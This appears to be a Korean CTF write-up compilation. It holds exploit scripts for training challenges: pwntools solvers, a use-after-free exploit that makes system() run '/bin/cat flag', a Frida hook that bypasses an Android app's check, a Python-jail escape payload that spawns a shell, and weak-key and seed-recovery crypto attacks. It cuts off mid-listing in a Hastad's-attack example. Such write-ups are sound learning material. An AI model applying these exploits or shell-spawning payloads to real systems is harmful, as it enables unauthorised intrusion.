window_main = tk.Tk()
window_main.title('Game Client')
serverFrame = tk.Frame(window_main)
lblHOST = tk.Label(serverFrame, text='Address:').pack(side=tk.LEFT)
entHost = tk.Entry(serverFrame)
entHost.pack(side=tk.LEFT)
lblPORT = tk.Label(serverFrame, text='Port:').pack(side=tk.LEFT)
entPort = tk.Entry(serverFrame)
entPort.pack(side=tk.LEFT)
serverFrame.pack(side=tk.TOP, pady=(5, 0))
top_welcome_frame = tk.Frame(window_main)
lbl_name = tk.Label(top_welcome_frame, text='Name:')
lbl_name.pack(side=tk.LEFT)
ent_name = tk.Entry(top_welcome_frame)
ent_name.pack(side=tk.LEFT)
btn_connect = tk.Button(top_welcome_frame, text='Connect', command=lambda : connect())
btn_connect.pack(side=tk.LEFT)
top_welcome_frame.pack(side=tk.TOP)
top_message_frame = tk.Frame(window_main)
lbl_line = tk.Label(top_message_frame, text='***********************************************************').pack()
lbl_welcome = tk.Label(top_message_frame, text='')
lbl_welcome.pack()
lbl_line_server = tk.Label(top_message_frame, text='***********************************************************')
lbl_line_server.pack_forget()
top_message_frame.pack(side=tk.TOP)
top_frame = tk.Frame(window_main)
top_left_frame = tk.Frame(top_frame, highlightbackground='green', highlightcolor='green', highlightthickness=1)
lbl_your_name = tk.Label(top_left_frame, text='Your name: ' + your_name, font='Helvetica 13 bold')
lbl_opponent_name = tk.Label(top_left_frame, text='Opponent: ' + opponent_name)
lbl_your_name.grid(row=0, column=0, padx=5, pady=8)
lbl_opponent_name.grid(row=1, column=0, padx=5, pady=8)
top_left_frame.pack(side=tk.LEFT, padx=(10, 10))
top_right_frame = tk.Frame(top_frame, highlightbackground='green', highlightcolor='green', highlightthickness=1)
lbl_game_round = tk.Label(top_right_frame, text='Game round (x) starts in', foreground='blue', font='Helvetica 14 bold')
lbl_timer = tk.Label(top_right_frame, text=' ', font='Helvetica 24 bold', foreground='blue')
lbl_game_round.grid(row=0, column=0, padx=5, pady=5)
lbl_timer.grid(row=1, column=0, padx=5, pady=5)
top_right_frame.pack(side=tk.RIGHT, padx=(10, 10))
top_frame.pack_forget()
middle_frame = tk.Frame(window_main)
lbl_line = tk.Label(middle_frame, text='***********************************************************').pack()
lbl_line = tk.Label(middle_frame, text='**** GAME LOG ****', font='Helvetica 13 bold', foreground='blue').pack()
lbl_line = tk.Label(middle_frame, text='***********************************************************').pack()
round_frame = tk.Frame(middle_frame)
lbl_round = tk.Label(round_frame, text='Round')
lbl_round.pack()
lbl_your_choice = tk.Label(round_frame, text='Your choice: None', font='Helvetica 13 bold')
lbl_your_choice.pack()
lbl_opponent_choice = tk.Label(round_frame, text='Opponent choice: ' + 'None')
lbl_opponent_choice.pack()
lbl_result = tk.Label(round_frame, text=' ', foreground='blue', font='Helvetica 14 bold')
lbl_result.pack()
round_frame.pack(side=tk.TOP)
final_frame = tk.Frame(middle_frame)
lbl_line = tk.Label(final_frame, text='***********************************************************').pack()
lbl_final_result = tk.Label(final_frame, text=' ', font='Helvetica 13 bold', foreground='blue')
lbl_final_result.pack()
lbl_line = tk.Label(final_frame, text='***********************************************************').pack()
final_frame.pack(side=tk.TOP)
middle_frame.pack_forget()
button_frame = tk.Frame(window_main)
photo_rock = tk.PhotoImage(file='rock.gif')
photo_paper = tk.PhotoImage(file='paper.gif')
photo_scissors = tk.PhotoImage(file='scissors.gif')
btn_rock = tk.Button(button_frame, text='Rock', command=lambda : choice('rock'), state=tk.DISABLED, image=photo_rock)
btn_paper = tk.Button(button_frame, text='Paper', command=lambda : choice('paper'), state=tk.DISABLED, image=photo_paper)
btn_scissors = tk.Button(button_frame, text='Scissors', command=lambda : choice('scissors'), state=tk.DISABLED, image=photo_scissors)
btn_rock.grid(row=0, column=0)
btn_paper.grid(row=0, column=1)
btn_scissors.grid(row=0, column=2)
button_frame.pack(side=tk.BOTTOM)

def game_logic(you, opponent):
    winner = ''
    rock = 'rock'
    paper = 'paper'
    scissors = 'scissors'
    player0 = 'you'
    player1 = 'opponent'
    if you == opponent:
        winner = 'draw'
    elif you == rock:
        if opponent == paper:
            winner = player1
        else:
            winner = player0
    elif you == scissors:
        if opponent == rock:
            winner = player1
        else:
            winner = player0
    elif you == paper:
        if opponent == scissors:
            winner = player1
        else:
            winner = player0
    return winner

def enable_disable_buttons(todo):
    if todo == 'disable':
        btn_rock.config(state=tk.DISABLED)
        btn_paper.config(state=tk.DISABLED)
        btn_scissors.config(state=tk.DISABLED)
    else:
        btn_rock.config(state=tk.NORMAL)
        btn_paper.config(state=tk.NORMAL)
        btn_scissors.config(state=tk.NORMAL)

def connect():
    global HOST_ADDR
    global your_name
    global HOST_PORT
    HOST_ADDR = entHost.get()
    HOST_PORT = int(entPort.get())
    if len(ent_name.get()) < 1:
        tkMessageBox.showerror(title='ERROR!!!', message='You MUST enter your first name <e.g. John>')
    else:
        your_name = ent_name.get()
        lbl_your_name['text'] = 'Your name: ' + your_name
        connect_to_server(your_name, HOST_ADDR, HOST_PORT)

def count_down(my_timer, nothing):
    global game_round
    if game_round <= TOTAL_NO_OF_ROUNDS:
        game_round = game_round + 1
    lbl_game_round['text'] = 'Game round ' + str(game_round) + ' starts in'
    while my_timer > 0:
        my_timer = my_timer - 1
        print 'game timer is: ' + str(my_timer)
        lbl_timer['text'] = my_timer
        sleep(1)

    enable_disable_buttons('enable')
    lbl_round['text'] = 'Round - ' + str(game_round)
    lbl_final_result['text'] = ''

def choice(arg):
    global opponent_choice
    global flag
    global client
    global your_choice
    global game_round
    your_choice = arg
    lbl_your_choice['text'] = 'Your choice: ' + your_choice
    lbl_opponent_choice['text'] = 'Opponent choice: ' + opponent_choice
    if client:
        enable_disable_buttons('disable')
    who_wins = game_logic(your_choice, opponent_choice)
    if who_wins == 'you':
        lbl_result['text'] = 'Result: WIN'
        client.send('round$' + str(game_round))
        if flag == None:
            client.send('state$Yes')
        else:
            client.close()
    elif who_wins == 'opponent':
        game_round = 0
        lbl_result['text'] = 'Result: LOSS'
        lbl_final_result['text'] = 'Game Out'
        lbl_final_result.config(foreground=color)
        client.close()
    else:
        game_round = 0
        lbl_result['text'] = 'Result: DRAW'
        lbl_final_result['text'] = 'Game Out'
        lbl_final_result.config(foreground=color)
        client.close()
    if game_round == TOTAL_NO_OF_ROUNDS:
        final_result = ''
        color = ''
        enable_disable_buttons('disable')
        game_round = 0
    return

def connect_to_server(name, HOST_ADDR, HOST_PORT):
    global client
    try:
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client.connect((HOST_ADDR, HOST_PORT))
        client.send(name)
        btn_connect.config(state=tk.DISABLED)
        ent_name.config(state=tk.DISABLED)
        lbl_name.config(state=tk.DISABLED)
        enable_disable_buttons('disable')
        threading._start_new_thread(receive_message_from_server, (client, 'm'))
    except Exception as e:
        tkMessageBox.showerror(title='ERROR!!!', message='Cannot connect to host: ' + HOST_ADDR + ' on port: ' + str(HOST_PORT) + ' Server may be Unavailable. Try again later')

def receive_message_from_server(sck, m):
    global opponent_choice
    global opponent_name
    global flag
    while True:
        from_server = sck.recv(4096)
        if not from_server:
            break
        if from_server.startswith('welcome'):
            if from_server == 'welcome':
                lbl_welcome['text'] = 'Welcome ' + your_name
                lbl_line_server.pack()
        elif from_server.startswith('opponent_name$'):
            opponent_name = from_server.replace('opponent_name$', '')
            lbl_opponent_name['text'] = 'Opponent: ' + opponent_name
            top_frame.pack()
            middle_frame.pack()
            if client:
                client.send(str(game_round))
                client.send('state$Yes')
            lbl_welcome.config(state=tk.DISABLED)
            lbl_line_server.config(state=tk.DISABLED)
        elif from_server.startswith('$opponent_choice'):
            opponent_choice = from_server.replace('$opponent_choice', '')
            threading._start_new_thread(count_down, (game_timer, ''))
        elif from_server.startswith('flag$'):
            flag = from_server.replace('flag$', '')
            lbl_final_result['text'] = 'flag={' + str(flag) + '}'
            color = 'red'
            lbl_final_result.config(foreground=color)
            break

def on_closing():
    if tkMessageBox.askokcancel('Quit', 'Do you want to quit?'):
        if client:
            try:
                client.send('close$close')
                window_main.destroy()
                client.close()
            except:
                window_main.destroy()

        else:
            window_main.destroy()

window_main.protocol('WM_DELETE_WINDOW', on_closing)
window_main.mainloop()

문제가 조금 이상한게 guessing 요소가 너무 많다.. XOR까진 이해하겠는데 다음부터.. 모르겠다. 최대한 한 부분까지 넣었다.

from pwn import *

context.log_level = 'debug'

p = remote('192.168.10.25', 1231)

p.sendafter('Input the name=','Sung')
p.recv(4096)
sleep(2)
p.send('0')
# sleep(0.1)
p.send('state$Yes')
sleep(2)
p.recv(4096)
# p.send('flag$')
p.send('round$1000')

# p.send('state$Yes')
sleep(2)
# 
p.recv(4096)

p.send('Hihisecure')

p.send('state$Yes')
sleep(2)
p.recv(4096)
p.send('round$1000')

# a = 'Hihisecure'
# b = 'Secretcode'
# p.sendafter('Input the Decryption=',';\x0ccretcode')

p.interactive()

# Secretcode=3b0c63726574636f6465

코드에 루틴도 없는데 ㅋㅋ.. Super Guessing! 결론은 못품 아무도.

FLAG :

Q7

Unity 문제인데 C# IL Patch해서 풀었다.

FLAG : gdiojcggemie

Q8

FLAG :

Q9

주요 메소드 기능을 통해서 설명해보겠습니다.

nklib 라이브러리를 불러옴

package com.example.ndklib;

public class NativeWrapper {
    public native boolean nativeSum(boolean z, String str);

    static {
        System.loadLibrary("ndklib");
    }
}

여기서 랜덤 값으로 대충 비교해서 맞추면 this.value1++ 해준다. 추가로 boolean a() 메소드가 존재하는데 이걸 이용해서 이따가 Hooking 하게 될 것이다.

public void winCheck(int i, int i2) {
    int i3 = ((i + 3) - i2) % 3;
    new javaBisic();
    this.kk = a(this.value1);
    if (i3 == 0) {
        Toast makeText = Toast.makeText(getApplicationContext(), "비겼습니다, 아깝네요!!", 0);
        this.myToast = makeText;
        makeText.show();
    } else if (i3 == 1) {
        Toast makeText2 = Toast.makeText(getApplicationContext(), "이겼습니다. 점수 1점을 획득하셨습니다", 0);
        this.myToast = makeText2;
        this.value1++;
        makeText2.show();
    } else if (i3 == 2) {
        this.myToast = Toast.makeText(getApplicationContext(), "졌습니다..다시 시도 해 주세요", 0);
        System.out.println(this.kk);
        this.myToast.show();
    }
}

public boolean a(int i) {
    return this.value1 > 10000;
}

아까 맞추면 this.value1이 계속 1씩 증가했는데 이걸 boolean a의 리턴이 True면 축하한다고 뜨면서 플래그를 제출 할 수 있게된다. 여기서 여기서 Library의 Native 함수를 이용해서 Edit에 입력한 문자를 인자로 넣어준다.

this.Check_Score.setOnClickListener(new View.OnClickListener() {
    public void onClick(View view) {
        MainActivity mainActivity = MainActivity.this;
        final boolean a = mainActivity.a(mainActivity.value1);
        MainActivity.this.et = new EditText(MainActivity.this);
        AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
        builder.setIcon((int) R.mipmap.ic_launcher);
        if (a) {
            builder.setIcon((int) R.mipmap.ic_launcher);
            builder.setTitle((CharSequence) "Title");
            builder.setMessage((CharSequence) "축하합니다!!!!!!\n관리자에게 플레그를 문의하세요!!");
            builder.setView((View) MainActivity.this.et);
        } else {
            builder.setTitle((CharSequence) "Title");
            builder.setMessage((CharSequence) "당신의 수는 " + MainActivity.this.value1 + "입니다 \n점수를 10000점 이상 받으시고, 관리자에게 플레그를 받으세요!!");
        }
        builder.setPositiveButton((CharSequence) "확인", (DialogInterface.OnClickListener) new DialogInterface.OnClickListener() {
            public void onClick(DialogInterface dialogInterface, int i) {
                MainActivity.this.aaa = nativeWrapper.nativeSum(a, MainActivity.this.et.getText().toString());
                String str = MainActivity.this.aaa ? "축하드립니다!! 플레그를 제출 해 주세요" : "코드를 다시 확인 해 주세요";
                AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                AlertDialog.Builder title = builder.setTitle((CharSequence) MainActivity.this.et.getText().toString());
                title.setMessage((CharSequence) str + "\n");
                builder.create().show();
                dialogInterface.dismiss();
            }
        });
        builder.show();
    }
});

그래서 nativeSum 함수를 보면 매우 복잡하게 되어있다.. 그래서 Native 함수도 후킹해서 strncmp가 호출되니까 v9을 후킹해서 값을 가져오면 된다.

unsigned __int64 __fastcall Java_com_example_ndklib_NativeWrapper_nativeSum(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
  __int64 v4; // r14
  unsigned int v5; // er15
  const char *v6; // rax
  const char *v7; // r12
  unsigned __int64 result; // rax
  __int128 v9; // [rsp+0h] [rbp-58h]
  char v10; // [rsp+10h] [rbp-48h]
  char v11; // [rsp+11h] [rbp-47h]
  char v12; // [rsp+12h] [rbp-46h]
  char v13; // [rsp+13h] [rbp-45h]
  char v14; // [rsp+14h] [rbp-44h]
  char v15; // [rsp+15h] [rbp-43h]
  char v16; // [rsp+16h] [rbp-42h]
  char v17; // [rsp+17h] [rbp-41h]
  char v18; // [rsp+18h] [rbp-40h]
  unsigned __int64 v19; // [rsp+28h] [rbp-30h]

  v4 = a4;
  v19 = __readfsqword(0x28u);
  v5 = 0;
  v6 = (const char *)(*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)a1 + 1352LL))(a1, a4, 0LL);
  v9 = xmmword_880;
  *(__int128 *)((char *)&v9 + 10) = *(__int128 *)((char *)&xmmword_880 + 10);
  LOBYTE(v9) = 102;
  _mm_storeu_si128(
    (__m128i *)((char *)&v9 + 1),
    _mm_add_epi8(_mm_loadu_si128((const __m128i *)((char *)&v9 + 1)), (__m128i)xmmword_870));
  v11 -= 17;
  v13 -= 19;
  v14 -= 20;
  v15 -= 21;
  v17 -= 23;
  v18 -= 24;
  v7 = v6;
  BYTE9(v9) = BYTE1(v9) + 8;
  BYTE14(v9) = BYTE4(v9) + 9;
  v12 = BYTE2(v9) + 2;
  BYTE11(v9) = BYTE2(v9) + 19;
  BYTE12(v9) = BYTE5(v9) + 22;
  HIBYTE(v9) = (BYTE1(v9) + 8) ^ BYTE5(v9);
  v16 = BYTE7(v9) | BYTE5(v9);
  BYTE8(v9) = (BYTE1(v9) + 8) | (BYTE2(v9) + 19);
  v10 = 97;
  if ( !strncmp(v6, (const char *)&v9, 0x19uLL) )
  {
    (*(void (__fastcall **)(__int64, __int64, const char *))(*(_QWORD *)a1 + 1360LL))(a1, v4, v7);
    LOBYTE(v5) = 1;
  }
  result = __readfsqword(0x28u);
  if ( result == v19 )
    result = v5;
  return result;
}

Frida Hookin 코드입니다. public boolean a() 함수의 리턴 값을 true로 변경해서 플래그를 입력할 수 있는 단계까지 간다. 그 다음에 native 함수를 이용해서 문자열 비교를 하니까 strncmp함수를 후킹해서 Memory.readByteArray()로 값을 긁어오면 된다.

Java.perform(function(){
    console.log('START!');
    var ptr = Java.use('com.example.ctf.MainActivity');
    ptr.a.implementation = function(){
        return true;
    }
});

var nativeSum = Module.findExportByName(null,'Java_com_example_ndklib_NativeWrapper_nativeSum');
//Interceptor.attach(Module.findExportByName(null,'strncmp'),{
Interceptor.attach(Module.getExportByName('libndklib.so','strncmp'),{
    onEnter: function(args){
        console.log('strncmp args[2] : ' + args[2]);
        console.log(Memory.readByteArray(ptr(parseInt(args[1])),0x20));
    }
});

결과

FLAG : flag_A99ttEtW4h5a8c6ABy3E

Q10

Guessing zz;

FLAG : databaseencryption

후기

Super Guessing 대회지만 Q2, Q9 안드로이드 문제는 그렇게 Guessing은 아니라 재밌게 푼 거 같다. 너무 시행착오 많이 겪어서 시간 버려서 아쉬웠다. 굳굳

  1. mhibio 2020.10.30 22:16 신고

    제가 본선갔으면 더 잘했을거같아요.

  2. p1nkjelly 2020.11.02 00:23

    섹섹보

  3. cha512 2020.11.02 00:24

    제가 본선갔으면 더 잘했을거같아요.

다른 사람들 도움되라고 올립니다.

 

main 함수 메뉴들

      case 1u:
        login(&v6);
        break;
      case 2u:
        logout(&v6);
        break;
      case 3u:
        (*(a2 + 32))(a2, &v4);
        break;
      case 4u:
        borrow_book(&v6, &a2, &a3);
        break;
      case 5u:
        return_book(&v6, &a2, &a3);
        break;
      case 6u:
        puts("600d by3..");
        exit(0);
        return;
      default:
        puts("don't mess with me! GET OUT!!!! ");
        exit(0);
        return;
int __fastcall login(char **a1)
{
  char *v1; // rbx
  int result; // eax

  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  *a1 = malloc(0x20uLL);
  getchar();
  printf("ID:", 0LL);
  fgets(*a1, 32, stdin);
  v1 = *a1;
  v1[strlen(*a1) - 1] = 0;
  result = printf("Welcome %s !!\n", v1);
  session = 1;
  return result;
}
int __fastcall logout(void **a1)
{
  int result; // eax

  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  result = session;
  if ( session == 1 )
  {
    free(*a1);
    result = puts("logout completed");
    session = 0;
  }
  return result;
}
void __fastcall borrow_book(__int64 a1, char **a2, _DWORD *a3)
{
  int *v3; // rsi
  size_t v4; // rax
  _DWORD *v5; // [rsp+8h] [rbp-48h]
  char **v6; // [rsp+10h] [rbp-40h]
  int idx; // [rsp+2Ch] [rbp-24h]
  char *book[3]; // [rsp+30h] [rbp-20h]
  unsigned __int64 v9; // [rsp+48h] [rbp-8h]

  v6 = a2;
  v5 = a3;
  v9 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  v3 = 0LL;
  setvbuf(stderr, 0LL, 1, 0LL);
  book[0] = "jack_and_the_beanstalk";
  book[1] = "kongjui_and_patjui";
  book[2] = "aladdin_lamp";
  *v6 = malloc(0x28uLL);
  while ( 1 )
  {
    puts("1. Jack and the Beanstalk");
    puts("2. Kongjui and Patjui");
    puts("3. Aladdin's Lamp");
    printf("> ", v3);
    v3 = &idx;
    __isoc99_scanf("%d", &idx);
    if ( idx <= 3 && idx > 0 )
      break;
    puts("We don't have that book");
  }
  *(*v6 + 6) = idx;
  v4 = strlen(book[idx - 1]);
  strncpy(*v6, book[idx - 1], v4);
  *(*v6 + 4) = read_book;
  *v5 = 1;
  printf("you just borrwed %s\n", *v6);
  if ( session == 1 )
  {
    point += 14;
    puts("you are our member !");
    puts("point +14");
  }
}
int __fastcall return_book(__int64 a1, void **a2, _DWORD *a3)
{
  int result; // eax
  _DWORD *v4; // [rsp+8h] [rbp-18h]

  v4 = a3;
  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  if ( !*v4 )
    return puts("you don't have any book.");
  printf("return '%s'\n", *a2);
  free(*a2);
  result = v4;
  *v4 = 0;
  return result;
}
unsigned __int64 __fastcall read_book(__int64 a1)
{
  int v1; // eax
  char dest[8]; // [rsp+10h] [rbp-50h]
  __int64 v4; // [rsp+20h] [rbp-40h]
  __int64 v5; // [rsp+28h] [rbp-38h]
  __int64 v6; // [rsp+30h] [rbp-30h]
  __int64 v7; // [rsp+38h] [rbp-28h]
  __int64 v8; // [rsp+40h] [rbp-20h]
  __int64 v9; // [rsp+48h] [rbp-18h]
  unsigned __int64 v10; // [rsp+58h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  if ( *(a1 + 24) <= 3 && *(a1 + 24) >= 0 )
  {
    strcpy(dest, "/bin/cat ");
    v4 = 0LL;
    v5 = 0LL;
    v6 = 0LL;
    v7 = 0LL;
    v8 = 0LL;
    v9 = 0LL;
    printf("your book number : %d\n", *(a1 + 24));
    strcat(dest, a1);
    printf("book name : %s\n", a1);
    v1 = *(a1 + 24);
    switch ( v1 )
    {
      case 2:
        system(dest);
        break;
      case 3:
        system(dest);
        break;
      case 1:
        system(dest);
        break;
    }
  }
  else
  {
    puts("you don't have any book to read.");
  }
  return __readfsqword(0x28u) ^ v10;
}

간단한 UAF 문제
책을 빌리고나서 free해준 다음에 login에서 힙 포인터를 재사용할 수 있음
그래서 read_book()에서 book name을 flag로 만들어준다.
그 다음에 3번 메뉴 함수포인터 실행해주면 /bin/cat flag가 됨

익스코드

from pwn import *

e = ELF('./online_library')
p = process('./online_library')
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)

def login(id):
    sla('>','1')
    sla('ID:',id)

def logout():
    sla('>','2')

def executePtr():
    sla('>','3')

def borrow(idx):
    sla('>','4')
    sla('>',str(idx))

def returnBook():
    sla('>','5')

# UAF
borrow(1)
returnBook()
login('flag')
executePtr()

p.interactive()


'''
[*] '/vagrant/online_library'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

'''

Newbie

Sanity Check

Description에 FLAG가 있다.

FLAG : HCTF{flag_looks_like_this}

NetCat

주어진 netcat서버에 접속하면 FLAG를 뿜어준다.

FLAG : HCTF{net"Cat" is so cute}

Cultureland

파란색으로 덮힌 바코드를 그림판으로 복구해주면 된다. 어느정도 노가다 하다보니 인식됐다.

FLAG : HCTF{4180021737370713}

CryptoFile

예전에 seed값 이용해서 푸는 문제 풀었을 때 python2랑 python3랑 seed 설정하고 random 값이 다른거를 잊고 왜 안되나 했다. 계속 python2를 이용해서 random_string을 잘못 가져왔다. python3 사용한 random_string 넣고 푸니까 잘 decrypt 된다.

파일이 생성된 시간 2019:11:12 23:59:07+09:00의 time.time() 값은 1573570747 이다.

import random
import string
import time

def random_string(length):
    strs = string.ascii_letters + string.digits
    result = ""
    for _ in range(length):
        result += random.choice(strs)
    return result

seed = 1573570747
random.seed(seed)
key = random_string(32)
iv = random_string(16)
print(key) # FYqE3ywYFWoIcByuSWhTcB5N7E1yVH63
print(iv) # 9DULbzZxWQSgNnZM

key랑 iv값은 구한 후 decrypt 함수에 파일 이름, key, iv 넣고 decrypt해주면 된다.

from Crypto.Cipher import AES
import random
import string
import time
import os

class CryptoFile:
    def encrypt(self, endswith, delete_file):
        for file_name in [i for i in os.listdir('./') if i.endswith(endswith)]:
            target_file = open(file_name, 'rb')
            result = open('CryptoFile-' + self.random_string(2) + '.' + self.random_string(12), 'wb') 
            seed = int(time.time())
            random.seed(seed)
            key = self.random_string(32)
            iv = self.random_string(16)
            result.write(AES.new(key, AES.MODE_CFB, iv).encrypt(target_file.read()))
            if delete_file:
                os.remove(file_name)

    def decrypt(self, file_name, key, iv):
        target_file = open(file_name, 'rb')
        result = open(file_name + ".result", 'wb')
        result.write(AES.new(key, AES.MODE_CFB, iv).decrypt(target_file.read()))

    def random_string(self, length):
        strs = string.ascii_letters + string.digits
        result = ""
        for _ in range(length):
            result += random.choice(strs)
        return result

if __name__ == '__main__':
    # CryptoFile().encrypt(('gg'), True)
    CryptoFile().decrypt('CryptoFile-Xp.NNRyUD7RQLVh','FYqE3ywYFWoIcByuSWhTcB5N7E1yVH63','9DULbzZxWQSgNnZM')

.result파일의 확장자를 png로 바꾸고 이미지 열면 FLAG가 있다.

FLAG : HCTF{Se3d_T1mE_15_D4nG3rouS}

NonPrintable

입력 값하고 \xde\xed\xbe\xef 이 같으면 플래그 파일을 읽을 수 있다.

from pwn import *

p = remote('prob.hctf.icewall.org',10102)
p.sendlineafter('>> ','\xde\xed\xbe\xef')
p.interactive()

FLAG : HCTF{beef steak is delicious}

Python Jail

python -c 로 실행시켜주는데 exec , chr 이 안 막혀있어서 이를 이용해서 풀었다. 아래 페이로드 이용해서 풀었다.

a="__import__('os').system('sh')"
payload = 'exec(' + ''.join('chr('+str(ord(a[i]))+')+' for i in range(len(a)))[:-1] + ')'

FLAG : HCTF{getattr_is_very

very

nice!!}

Take It

힌트가 있길래 딱보면 robots.txt 이용해서 푸는거구나 생각하고 들어갔는데 HCTF-FLAG.txt이 있길래 http://www.nowtakeit.com/HCTF-FLAG.txt 들어갔는데 플래그가 있었다.

FLAG : HCTF{Congratulations_10000_Points_for_First_Solver!!}

Reversing

매우 복잡한 그래프이다. 자세히 보면 인덱스의 글자가 맞는지 아닌지 비교해주는 분기들이다. 인덱스의 값들을 잘 맞추면 된다.

a=[0]*46
a[23]=97;a[19]=74;a[9]=95;a[22]=95;a[6]=118;a[1]=67;a[26]=95;a[7]=101;a[3]=70
a[2]=84;a[8]=110;a[17]=101;a[44]=116;a[32]=97;a[24]=110;a[43]=105;a[14]=104;a[12]=99
a[10]=103;a[28]=111;a[35]=105;a[29]=117;a[31]=99;a[14]=104;a[12]=99;a[10]=103
a[38]=112;a[39]=101;a[34]=95;a[37]=115;a[25]=100;a[18]=95;a[45]=125;a[21]=84;a[40]=99
a[11]=99;a[16]=118;a[30]=95;a[41]=116;a[13]=95;a[4]=123;a[42]=95;a[5]=101
a[20]=73;a[15]=97;a[0]=72;a[33]=110;a[27]=121;a[36]=110
print ''.join(chr(i) for i in a)

FLAG : HCTF{even_gcc_have_JIT_and_you_can_inspect_it}

Forensic

Easy Forensic

Stegsolve 를 이용해서 Blue Plane 0 이미지 좌측에 보면 흰색, 검은색이 반복되며 나온다.

여기서 검은색은 0, 흰색은 1로 치환해줘서 2진수 값 가져와서 8비트씩 끊어서 문자열로 만들면 플래그가 된다.

from PIL import Image

img = Image.open('solved.png')
img = img.convert('RGB')
img_pix = img.load()
r,g,b = img_pix[0,0]
text = ''
black = (0,0,0)
white = (255,255,255)
for i in range(1):
    for j in range(img.height):
        if img_pix[i,j] == black:
            text += '0'
        elif img_pix[i,j] == white:
            text += '1'

b = '010010000100001101010100010001100111101101010111011010000110000101110100010111110100000101011111010100110110100101101101011100000110110001100101010111110101001101110100011001010110011101100001011011100110111101100111011100100110000101110000011010000111100101011111010100000111001001101111011000100110110001100101011011010010000101111101'
print ''.join(map(lambda x: chr(int(x, 2)), [b[i:i+8] for i in xrange(0, len(b),8)]))

FLAG : HCTF{What_A_Simple_Steganography_Problem!}

Normal Forensic

패킷 문제다. 주어진 패킷을 분석해보면 ruu.kr에서 SMTP 프로토콜로 통신을 했다.

220 ruu.kr ESMTP Postfix
HELO ruu.kr
250 ruu.kr
MAIL FROM:master@ruu.kr
250 2.1.0 Ok
RCPT TO:idontknow@ruu.kr
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
From: master@ruu.kr
To: idontknow@ruu.kr
Subject: Order
Date: Thu, 10 Oct 2019 23:11:21 +0900

OK...

The password is ITISNOTFLAG

Order file will transfer through secret channel...

Good Luck...

.
250 2.0.0 Ok: queued as C2A15240681
QUIT
221 2.0.0 Bye

다른 채널에 더 비밀스러운게 있다고 한다. 대충 쭉쭉 분석하다보니 ICMP 프로토콜로 통신한 부분을 볼 수 있다.

자세히 보니 ICMP Data 영역(마지막 제외 32바이트) 를 주고받은걸 볼 수 있다. 해당 ICMP Data영역에 해당하는 부분을 추출해주면 된다.

tshark -r packet.pcapng -Y 'icmp and ip.src==192.168.3.128' -T fields -e data

위 명령어 사용해서 가져오면 된다. 가져온 hex값을 hex decode해주고 base64로 decode해주면 7z파일이 나온다 앞에 dummy 부분만 제거하고 7z만 가져와서 아까 얻은 password (ITISNOTFLAG) 를 이용해서 풀어주면 ELF파일이 나오는데 이 ELF파일을 실행해주면 플래그가 나온다.

FLAG : HCTF{Now_You_Know_ICMP_Covert_Channel}

Crypto

Easy Crypto

DES key 취약점을 이용한 문제이다. 취약한 키 다 가져와서 DES decrypt Bruteforce해줬다.

from Crypto.Cipher import DES
import string
import re

f = open('flag.enc', 'rb')
ciphertext = f.read()
f.close()

parity = [ '0101010101010101', 'FEFEFEFEFEFEFEFE', 'E0E0E0E0F1F1F1F1', '1F1F1F1F0E0E0E0E' ]
noparity = [ '0000000000000000', 'FFFFFFFFFFFFFFFF', 'E1E1E1E1F0F0F0F0', '1E1E1E1E0F0F0F0F' ]

parity = [ i.decode('hex') for i in parity ]
noparity = [ i.decode('hex') for i in noparity ]

keylist = [parity, noparity]

IV = '87654321'
for key in keylist :
    for KEY in key :
        a = DES.new(KEY, DES.MODE_OFB, IV)
        plain = a.decrypt(ciphertext)
        print plain

FLAG : HCTF{It_is_So_Easy_Crypto_Problem_Right?}

Normal Crypto

Hastad’s Broadcast Attack 문제다.

#!/usr/bin/env sage
from Crypto.Util.number import bytes_to_long
from flag import *

p1 = random_prime(2 ** 512)
q1 = random_prime(2 ** 512)
n1 = p1*q1
c1 = pow(bytes_to_long(flag), 3, n1)

p2 = random_prime(2 ** 512) 
q2 = random_prime(2 ** 512)
n2 = p2*q2
c2 = pow(bytes_to_long(flag), 3, n2)

p3 = random_prime(2 ** 512)
q3 = random_prime(2 ** 512)
n3 = p3*q3
c3 = pow(bytes_to_long(flag), 3, n3)

'''
n1 = 51288326117082216488243544411546341945726200457761206644453923648745691133003298888640252920064366336153188590374906234193582318331511534150725498901204272996547758897280686510115493963949922521015212579960046142009026018249435094931175160476695080910770853450088955925931824360889598897960812196501910310971
c1 = 28664547940927727470345840711427399029606901366945466558505886421148178887598108954927053378246067525782321635926368688599601177978705377673276761471247346043054112813201264689017682322288369008503806688587531250974252044496239856005783248513792583183221373808082430000175628167523517126596009125614278899401
n2 = 29457686135991278975006812334310920356301816375997022543935792333970703696552526067677471770683579031803067927853925309291329810629595674400216862296288264098946332200460602662886636986347872294111648892796874085016119364078711660172342567556983822990434691459944961479240777022275803977723283229813386301943
c2 = 17077337519494000172836363832449617495753905384402839209756596335776673357613519709505681025778010115408943551044640911776511058812367697112179693767591405425645379539292855458605246761273813881282099739714024726610417325149805228045155772866483083186845303214010795924962676589099791252639040456901677120150
n3 = 72570233407274155209010922487345535784018612312055202392917019376429008866027961487578709415248191493186061903205333749093176280354945073304299285338734712471052411177028661616522150737451099384372788193639240627293146026956125655121241407595730843161959206866826957178300347986554615242213197995238377803371
